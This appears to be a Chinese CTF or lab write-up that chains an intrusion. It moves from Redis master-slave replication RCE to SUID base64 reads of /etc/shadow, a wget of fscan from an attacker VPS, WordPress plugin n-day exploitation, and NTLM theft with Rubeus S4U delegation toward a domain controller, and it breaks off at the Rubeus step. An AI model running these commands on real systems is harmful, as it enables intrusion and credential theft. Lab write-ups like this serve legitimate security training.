直接访问80端口，还是没啥可操作的

还是fscan开扫吧

扫出来个redis未授权

redis主从复制rce

发现版本较低，redis在4.x/5.0.5以前版本下，可以用主从复制getshell

1
python3 redis-rce.py -r 39.98.112.117 -p 6379 -L VPSip -f exp.so

这里直接选择正向shell就好了

suid base64提权

试试suid提权

1
find / -user root -perm -4000 -print 2> 1.txt

有个base64可以利用，例如

1
2
3
cd /etc
LFILE=shadow
base64 "$LFILE" | base64 --decode

这里直接用它来读flag

1
base64 "/home/redis/flag/flag01" | base64 --decode

还是换反向shell把，填入监听的ip和端口

再提升一下shell的交互性

1
python -c 'import pty; pty.spawn("/bin/bash")'

接下来wget下载fscan扫内网

1
wget http://vps/fscan_amd64
1
chmod +x fscan_amd64

中途重启了一下环境

看一下

代理出来流量

Wordpress nday getshell

接下来打那个wordpress，有一个插件有nday

可以用wpscan扫描

1
wpscan --url http://example

能够扫描WordPress网站中的多种安全漏洞，其中包括WordPress本身的
漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞，并且支持最新版本的WordPress。不仅能够扫描类似robots. txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能

翻文件，在配置文件找到数据库账号密码

尝试能否读密码

可以得到MSSQLSERVER$这个用户的NTLM，同时BloodHound分析MSSQLSERVER 配置了到域控的约束委派, 可以通过 S4U 伪造高权限 ST 拿下域控，

用Rubeus申请访问自身的服务票据
